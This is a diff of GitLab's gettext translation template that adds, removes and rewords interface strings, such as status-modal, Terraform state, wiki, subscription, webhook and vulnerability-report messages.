-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
